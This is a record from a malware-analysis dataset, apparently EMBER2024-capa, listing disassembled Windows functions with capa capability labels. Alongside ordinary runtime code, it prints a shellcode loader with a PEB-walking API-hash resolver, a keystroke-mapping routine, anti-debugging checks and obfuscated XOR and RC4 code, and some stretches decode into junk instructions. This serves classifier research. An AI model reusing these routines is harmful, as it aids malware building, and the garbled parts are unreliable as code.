joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000bc60
Capabilities:
Write file on windows

Disassembly:
push rbx
mov eax, 0x60
call fcn.140013cf0
sub rsp, rax
mov rax, qword [0x140020018]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14000bd3c
cmp byte [rcx + 0x71], 0
je 0x14000bd3c
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000bd38
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000bcfd
sub eax, 1
je 0x14000bd01
cmp eax, 2
jne 0x14000bd38
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400141b0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14000bd2f
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000bd38
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000bce5
xor al, al
jmp 0x14000bce5
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400141b0
add rsp, 0x60
pop rbx
ret
Function at 0x14000e860
Capabilities:
Query environment variable
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
mov eax, 0x20460
call fcn.140013cf0
sub rsp, rax
mov rax, qword [0x140020018]
xor rax, rsp
mov qword [rsp + 0x20450], rax
mov rsi, rcx
mov r8d, 0x104
xor ecx, ecx
mov rdi, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x14000e8aa
call fcn.14000ec70
mov rcx, rdi
call fcn.1400158f0
mov rbx, rax
lea rdx, [rsp + 0x30]
movzx ecx, word [rax]
test cx, cx
je 0x14000e8e0
lea r8, [rsp + 0x30]
sub rax, r8
nop word [rax + rax]
mov word [rdx], cx
add rdx, 2
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x14000e8d0
lea rcx, [rsp + 0x30]
mov rax, rdx
sub rax, rcx
and rax, 0xfffffffffffffffe
cmp rax, 8
jl 0x14000e951
cmp word [rdx - 8], 0x2e
jne 0x14000e951
movzx ecx, word [rdx - 6]
mov r8d, 0xffdf
lea eax, [rcx - 0x45]
test r8w, ax
jne 0x14000e92b
movzx eax, word [rdx - 4]
sub ax, 0x58
test r8w, ax
jne 0x14000e92b
movzx eax, word [rdx - 2]
sub ax, 0x45
test r8w, ax
je 0x14000e95d
sub cx, 0x43
test r8w, cx
jne 0x14000e951
movzx eax, word [rdx - 4]
sub ax, 0x4f
test r8w, ax
jne 0x14000e951
movzx eax, word [rdx - 2]
sub ax, 0x4d
test r8w, ax
je 0x14000e95d
mov eax, 0x2e
mov word [rdx], ax
add rdx, 8
mov dword [rdx - 6], 0x690062
lea r9, [rsp + 0x30]
mov eax, 0x6e
mov r8, rbx
mov word [rdx - 2], ax
mov rcx, rsi
lea rax, [rsp + 0x30]
sub rdx, rax
sar rdx, 1
mov qword [rsp + 0x20], rdx
mov rdx, rdi
call fcn.140015760
xor r14d, r14d
lea rdx, [rsp + 0x240]
mov r8d, 0x7fff
mov word [rbx], r14w
lea rcx, str.PATH
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ebp, eax
lea ecx, [rax - 1]
cmp ecx, 0x7ffd
jbe 0x14000e9d1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xcb
je 0x14000e9d1
call fcn.14000ec70
sub rbx, rdi
lea rcx, [rsp + 0x240]
sar rbx, 1
mov rdx, rdi
lea rsi, [rbx - 1]
mov r8, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncmp]
test eax, eax
jne 0x14000e9fe
cmp word [rsp + rbx*2 + 0x23e], 0x3b
je 0x14000ea67
lea r8, [rsi + 1]
mov rdx, rdi
lea rcx, [rsp + 0x10240]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
lea rcx, [rsp + 0x10240]
lea rcx, [rcx + rsi*2]
test ebp, ebp
je 0x14000ea45
mov eax, 0x3b
lea r8d, [rbp + 1]
mov word [rcx], ax
lea rdx, [rsp + 0x240]
add rcx, 2
add r8, r8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14000ea49
mov word [rcx], r14w
lea rdx, [rsp + 0x10240]
lea rcx, str.PATH
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
test eax, eax
jne 0x14000ea67
call fcn.14000ec70
mov rcx, qword [rsp + 0x20450]
xor rcx, rsp
call fcn.1400141b0
lea r11, [rsp + 0x20460]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x14000ec70
Capabilities:
Terminate process

Disassembly:
push rbx
mov eax, 0x40
call fcn.140013cf0
sub rsp, rax
xor ebx, ebx
mov qword [rsp + 0x50], rbx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov r8d, eax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x50]
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov rdx, qword [rsp + 0x50]
lea r9d, [rbx + 0x10]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rbx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x40
pop rbx
ret
Function at 0x1400110d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
mov eax, 0x80
call fcn.140013cf0
sub rsp, rax
mov rax, qword [0x140020018]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140011103
xor eax, eax
jmp 0x140011258
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x14001112e
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x14001112e
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x140011258
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14001124b
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x140011171
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14001119c
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140011250
lea rax, [rsp + 0x48]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14001120b
sub eax, 1
je 0x14001120b
cmp eax, 2
jne 0x14001124b
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140011250
mov rsi, qword [rsp + 0x48]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140011239
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14001124b
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x50], rax
mov eax, edi
jne 0x140011250
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400141b0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140013a10
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
mov eax, 0x20
call fcn.140013cf0
sub rsp, rax
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140013a4a
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140013a61
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
mov rdi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140013a89
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140013a8b
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140013abd
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rbx
sub rdi, rbx
sub dword [rax], ebx
mov rcx, qword [rsi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
mov rbx, rdi
je 0x140013b55
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140013afb
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rdi, 0xfff
jbe 0x140013b35
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rdi, rax
add r14, rax
mov rbx, rdi
cmp rax, 0xfff
jne 0x140013b76
cmp rdi, rax
ja 0x140013b04
test rbx, rbx
je 0x140013b55
mov r9, qword [rsi + 0x80]
mov r8, rdi
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
sub rbp, rdi
jmp 0x140013b58
invalid
Function at 0x140013b80
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
mov eax, 0x20
call fcn.140013cf0
sub rsp, rax
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je case.default.0x140013bb9
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x140013be1
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140013be3
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140013c3c
test ecx, ecx
jle 0x140013c1c
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
sub rbx, rbp
add r14, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140013c3c
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140013c3c
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
invalid
Function at 0x14001c4c0
Capabilities:
Log keystrokes

Disassembly:
push rbx
sub rsp, 0x20
movzx ebx, cx
mov eax, ebx
cmp ebx, 0x11c
ja 0x14001c59e
je 0x14001c596
sub eax, 0x1d
cmp eax, 0x36
ja case.0x14001c5c3.286
lea rdx, [0x140000000]
cdqe
movzx eax, byte [rdx + rax + 0x1c694]
mov ecx, dword [rdx + rax*4 + 0x1c648]
add rcx, rdx
jmp rcx
mov al, 0xa0
add rsp, 0x20
pop rbx
ret
mov al, 0xa2
add rsp, 0x20
pop rbx
ret
mov al, 0xa4
add rsp, 0x20
pop rbx
ret
mov al, 0x6a
add rsp, 0x20
pop rbx
ret
mov al, 0x6d
add rsp, 0x20
pop rbx
ret
mov al, 0x6b
add rsp, 0x20
pop rbx
ret
mov al, 0x2e
add rsp, 0x20
pop rbx
ret
mov al, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
add rsp, 0x20
pop rbx
ret
mov al, 0x2d
add rsp, 0x20
pop rbx
ret
mov al, 0x26
add rsp, 0x20
pop rbx
ret
mov al, 0x28
add rsp, 0x20
pop rbx
ret
mov al, 0x25
add rsp, 0x20
pop rbx
ret
mov al, 0x27
add rsp, 0x20
pop rbx
ret
mov al, 0x24
add rsp, 0x20
pop rbx
ret
mov al, reloc.OLEAUT32.dll_SafeArrayAllocDescriptor
add rsp, 0x20
pop rbx
ret
mov al, 0x21
add rsp, 0x20
pop rbx
ret
mov al, SafeArrayAllocDescriptor
add rsp, 0x20
pop rbx
ret
mov al, reloc.OLEAUT32.dll_SafeArrayGetLBound
add rsp, 0x20
pop rbx
ret
mov al, 0xd
add rsp, 0x20
pop rbx
ret
sub eax, 0x11d
cmp eax, 0x40
ja case.0x14001c5c3.286
lea rdx, [0x140000000]
cdqe
movzx eax, byte [rdx + rax + 0x1c6f4]
mov ecx, dword [rdx + rax*4 + 0x1c6cc]
add rcx, rdx
jmp rcx
mov al, 0xa1
add rsp, 0x20
pop rbx
ret
mov al, 0xa3
add rsp, 0x20
pop rbx
ret
mov al, 0xa5
add rsp, 0x20
pop rbx
ret
mov al, 0x5b
add rsp, 0x20
pop rbx
ret
mov al, 0x5c
add rsp, 0x20
pop rbx
ret
mov al, 0x90
add rsp, 0x20
pop rbx
ret
mov al, 0x6f
add rsp, 0x20
pop rbx
ret
mov al, 0x5d
add rsp, 0x20
pop rbx
ret
mov al, 0x2c
add rsp, 0x20
pop rbx
ret
bt bx, 8
jae 0x14001c62c
movzx ecx, bl
mov edx, 1
or ecx, 0xe000
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
test eax, eax
jne 0x14001c640
movzx ecx, bl
mov edx, 1
add rsp, 0x20
pop rbx
jmp qword [sym.imp.USER32.dll_MapVirtualKeyW]
add rsp, 0x20
pop rbx
ret
cmp dword [rbp + 0x2a4a3b3f], ebx
mov cl, 0x6f
lodsb al, byte [rsi]
in al, 0x6f
stc
cmpsd dword [rsi], dword [rdi]
in al, 0x1f
invalid
mov esp, dword [rcx - 0x69211d5a]
mov dh, 0x55
sub bl, cl
loop 0x1401f0536
invalid
inc ah
in eax, dx
invalid
lahf
cmpsb byte [rsi], byte [rdi]
or byte [rcx - 0x23], dh
or eax, 0x5dfb3d5d
int1
xchg edx, eax
cmp al, 0xc4
sub al, 0xae
xchg ebx, eax
mov edx, 0x75c4a306
lahf
invalid
invalid
adc dword [rbx - 0x3c], eax
enter 0x3081, 0x23
cld
pop rbx
invalid
xchg ecx, eax
sub esp, eax
enter 0x45a2, 0xffffffffffffffc4
enter 0x46a4, 0x39
sbb dh, byte [rbx]
xor ch, byte [rsp + rcx*8]
or byte [rcx - 0x2f], dl
jns 0x1401f071e
mov dh, byte [rbx]
invalid
cmp dword [rbx + 0x45], edi
jg str.Xk96so
sbb eax, 0x7b49d89a
invalid
pop rax
imul edi, dword [rcx], 0x36
cmp dword [rsi], esi
jae 0x1401f0791
adc al, dl
invalid
mov dl, reloc.OLEAUT32.dll_SafeArrayDestroy
int3
call 0xd4d6680a
ror dword [rdx + 0xd], 1
or rax, 0x125fa9d2
jmp 0x1401f0b93
ror edi, 0xa8
iretd
test al, 0x70
outsd dx, dword [rsi]
invalid
invalid
Function at 0x140004000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x38
and rsp, 0xfffffffffffffff0
movabs rcx, 0x140004062
movabs rax, sym.imp.KERNEL32.dll_LoadLibraryA
call qword [rax]
movabs rdx, 0x14000406b
mov rcx, rax
movabs rax, sym.imp.KERNEL32.dll_GetProcAddress
call qword [rax]
xor ecx, ecx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov r9, rcx
movabs r8, 0x140004078
mov rdx, rcx
call rax
leave
jmp loc.140001000

Function at 0x140763058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1407631df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140763089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14076306f
add dl, dl
jne 0x140763096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407630f6
xor eax, eax
add dl, dl
jne 0x1407630a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407631ad
add dl, dl
jne 0x1407630b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407630c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407630d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407630dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407630ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14076307e
mov eax, 1
add dl, dl
jne 0x140763106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140763113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407630fb
sub eax, ebx
mov ebx, 1
jne 0x14076314c
mov ecx, 1
add dl, dl
jne 0x14076312e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14076313b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140763123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14076307e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140763168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140763175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14076315d
cmp eax, 0x7d00
jae 0x14076319b
cmp eax, 0x500
jb 0x140763196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14076307e
cmp eax, 0x7f
ja 0x14076319e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14076307e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407631d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14076307e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400247ec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140024836
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140024836
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140024836
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140024836
cmp dword [rcx + 0x84], 0xe
jbe 0x140024836
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140024838
xor al, al
add rsp, 0x28
ret

Function at 0x14002d380
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14002d0e4

Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
push rsi
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140887f2d
Capabilities:
Check for software breakpoints

Disassembly:
not byte [rsp + 0x70]
setb byte [rsp + 0x70]
test qword [rsp + 0x70], 0x5ecc1ebb
sets byte [rsp + 0x70]
jl 0x140d9c019
and word [rsp + 0x70], 0x4518
sets byte [rsp + 0x70]
mov word [rsp + 0x70], 0xfc9
or dword [rsp + 0x70], 0x3f22221f
not dword [rsp + 0x70]
or qword [rsp + 0x70], 0x4597054f
not byte [rsp + 0x70]
test word [rsp + 0x70], 0x1b53
mov byte [rsp + 0x70], 0xb9
setle byte [rsp + 0x70]
and dword [rsp + 0x70], 0x196075fb
and qword [rsp + 0x70], 0x2a4a20bf
or qword [rsp + 0x70], 0x64b6156a
neg byte [rsp + 0x70]
sub qword [rsp + 0x70], 0x61d82310
not qword [rsp + 0x70]
push qword [rsp + 0x78]
popfq
lea rsp, [rsp + 0x80]
call fcn.140fadea5

Function at 0x140dc91b1
Capabilities:
Encode data using base64

Disassembly:
xor ecx, dword [rsp + 0x18]
not r8w
add qword [rsp + 0x20], 0xfffffffffffd1243
mov r14, r9
call fcn.140ee5259
jno 0x140d7cae2
push 0x7d536cbf
push r15
push rbp
pushfq
test qword [rsp + 0x18], 0x49d66acf
movabs rbp, 0x442662a54e884c31
push rsi
ja 0x140f116fc
invalid
movabs rsi, 0x729f49c70e57467e
or bp, 0x3d7b
push r11
or sil, 0xc5
mov r15, qword [rsp + 0x28]
test word [rsp + 0x28], 0x1f1d
lea rsi, [r15 + 0x45b035fd]
push r10

Function at 0x140dcc7d1
Capabilities:
Encode data using xor

Disassembly:
movabs r14, 0x32643a29375d4128
or r14b, r14b
not r14w
not r14d
not r14b
push r11
bswap r14
mov r11, r14
xor r11b, 0x16
mov qword [rsp + 0x20], 0x41f12a58
xor r14b, 0xb4
bswap r14d
jo 0x140dcc7de
push r14
not r14
cmp byte [rsp], 0x30
jle 0x140d90044

Function at 0x140dfb9da
Capabilities:
Encode data using xor

Disassembly:
lea r15, [r15*4 + 0x50033a3e]
and r15b, r15b
add r8d, r15d
xor r8b, 0xf3
or r15b, 0x8d
lea r8, [r8*8 + 0x52a12cc8]
mov r8w, 0x7bde
movsx r15w, r15b
seto r8b
add r15d, 0x41cb2f9a
jle 0x140d9d3cc
seto r15b
test r15b, r8b
call fcn.140db5a2c
test r11d, r11d
call fcn.140d4c1f3
jle 0x140e0682c
cmp r11, 0x58dc7e4e
lea r15, [rbp*8 + 0x26db5f76]
movabs rbp, 0x3279017a0bef0054
setl bl
sub r11b, bl
lea r11, [rbp*2 + 0x21a33deb]
setne r11b
setb bl
cmp bx, 0x2923
mov rbx, qword [rsp + 0x50]
not bp
jl 0x140d9d3c1
mov r11b, 0xf
lea rbp, [r11*8 + 0x48f7078b]
not r8w
mov rbp, r11
jbe fcn.140da1fb4
lea r8, [rbp + rbp*4 + 0x4bde6dae]
not r15
xor bp, 0x4339
bswap r15
add qword [rsp + 8], 0x160422
mov ebp, 0x4ed0776c
test r11, 0x45f5424a
lea rsp, [rsp + 8]
ret 0x18

Function at 0x140ea77f6
Capabilities:
Encode data using xor

Disassembly:
mov bl, r12b
movsx r12d, r12w
mov edi, 0x5280e8e4
in eax, dx
call qword [rdi + 0x4d]
int1
call fcn.140d7ca82
push rdi
int1
or al, 0x2f
jl 0x140ea77fb
in eax, 0xcf
push rax
invalid
Function at 0x140ee8a4c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
call rax
mov r11, rax
jmp 0x140f19542
neg dword [rsp + 0x10]
setb byte [rsp + 0x10]
cmp word [rsp + 0x10], 0x5f3d
lea rdx, [rdx + 0x749b490f]
setbe byte [rsp + 0x10]
cmp byte [rsp + 0x10], 0x65
movabs rdx, 0x1e093da05a474f02
mov dword [rsp + 0x10], edx
seto byte [rsp + 0x10]
movzx dx, dx
cmp edx, dword [rsp + 0x14]
mov dx, 0x724c
mov dword [rsp + 0x10], 0x30104e45
lea rdx, [rdx + rdx*8 + 0x2ad52c63]
call fcn.140ea2e56
call rax
mov r11, rax
test rax, rax
jmp 0x140f19525
xor eax, eax
jmp 0x140f1968a
jne 0x140f1954b
lea rcx, [rsp + 0x40]
lahf
setnp al
xchg ah, al
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x1408baca8
test rax, rax
je 0x140f19487
cmp r11, rsi
jmp 0x140f19553
jne 0x140f195e9
cmp byte [rsp + 0x180], dil
je 0x140f195c6
lea rax, [rsp + 0x40]
movsx cx, r11b
sub rbp, rax
nop
lea rdx, [rsp + rdi + 0x40]
movsx eax, r13w
mov ecx, edi
stc
movsx rax, sp
bts rax, r11
mov eax, 0x2c3a5231
rol eax, cl
clc
add al, dil
xor al, byte [rdx + rbp]
jmp 0x140f1959c
mov byte [rdx], al
je 0x140f195bd
inc rdi
cmc
test r10d, esi
cmp rdi, 0x104
jmp 0x140f195b7
jb 0x140f19575
lea rbp, [rsp + 0x40]
cmova edx, r15d
mov rdx, rbp
movzx eax, cx
movsx rcx, r11w
xchg al, ch
mov rcx, rsi
movsx rax, r10w
nop
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
jmp 0x140f1968a
cmp byte [rbx + 1], 0x23
lea rdx, [rbx + 1]
jmp 0x140f195f6
jne 0x140f1966b
movzx edx, byte [rbx + 2]
